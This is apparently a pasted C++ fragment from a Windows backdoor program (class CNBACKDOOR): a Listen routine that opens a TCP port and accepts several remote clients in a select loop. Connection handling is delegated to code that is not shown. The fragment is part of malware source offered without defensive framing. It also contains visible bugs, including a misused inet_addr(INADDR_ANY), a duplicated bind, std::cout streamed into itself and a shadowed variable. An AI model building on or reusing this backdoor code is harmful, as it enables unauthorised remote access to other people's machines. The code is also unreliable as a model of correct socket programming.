rendered paste body// listen mode
bool CNBACKDOOR::Listen()
{
WSAData wsadata;
if (log_opt.UseLog)
std::cout << "[*] Starting a listener on port " << log_opt.port << std::endl;
if (log_opt.UseLog)
std::cout << "[*] WSAStartup initializing...";
if (WSAStartup(MAKEWORD(2,2), &wsadata) != 0) {
if (log_opt.UseLog)
std::cout << " failed";
return false;
}
if (log_opt.UseLog)
std::cout << " done" << std::endl << "[*] Creating socket...";
l_socket = socket(AF_INET, SOCK_STREAM, 0);
if (l_socket == INVALID_SOCKET) {
if (log_opt.UseLog)
std::cout << " failed" << std::cout;
WSACleanup();
return false;
}
if (log_opt.UseLog)
std::cout << " done" << std::endl << "[*] Binding socket...";
l_sockaddr.sin_addr.s_addr = inet_addr(INADDR_ANY);
l_sockaddr.sin_family = AF_INET;
l_sockaddr.sin_port = htons(log_opt.port);
bind(l_socket, (sockaddr*) &l_sockaddr, sizeof(SOCKADDR_IN));
l_sockaddr.sin_addr.s_addr = htonl(INADDR_ANY);
if (bind(l_socket, (sockaddr*) &l_sockaddr, sizeof(SOCKADDR_IN)) == -1) {
if (log_opt.UseLog)
std::cout << " failed" << std::endl;
WSACleanup();
return false;
}
if (log_opt.UseLog)
std::cout << " done" << std::endl << "[*] Listening on socket " << l_socket << "...";
if(listen(l_socket, log_opt.max_users) == -1)
{
if (log_opt.UseLog)
std::cout << " failed" << std::endl;
WSACleanup();
return false;
}
if (log_opt.UseLog)
std::cout << " done" << std::endl;
sockaddr_in user_info;
int l_sockaddr = sizeof(user_info);
if (log_opt.UseLog)
std::cout << "[*] Waiting for incoming connections on port " <<
log_opt.port << "..." << std::endl << std::endl;
highest_sock = (int)l_socket;
user_slots = new (std::nothrow) int[log_opt.max_users];
assert(user_slots);
for (unsigned int x = 0; x < log_opt.max_users; x++)
user_slots[x] = 0;
chandle_connections = new CHandleConnections(&log_opt);
while(!log_opt.ForceClosed)
{
timeval timeout;
if (log_opt.timeout)
{
timeout.tv_sec = log_opt.timeout;
timeout.tv_usec = 0;
}
FD_ZERO(&fd_socks);
FD_SET(l_socket, &fd_socks);
for (unsigned int id = 0; id < log_opt.max_users; id++)
{
if (user_slots[id] != 0)
FD_SET(user_slots[id], &fd_socks);
if (user_slots[id] > highest_sock)
highest_sock = user_slots[id];
}
int sel = select(highest_sock+1, &fd_socks, 0, 0, ((log_opt.timeout) ? &timeout : (timeval *)0));
if (sel < 0)
{
if (log_opt.UseLog)
std::cout << "[-] Select returned error" << std::endl;
return false;
break;
}
else if ((sel == 0) && (log_opt.timeout))
{
if (log_opt.UseLog)
std::cout << ".";
log_opt.TimeoutExpired = true;
chandle_connections->KeepAlive(user_slots, &fd_socks, l_socket);
}
else
{
// theres something to read, handle it
chandle_connections->HandleSockets(l_socket, user_slots, &fd_socks);
}
} // while (true)
return true;
}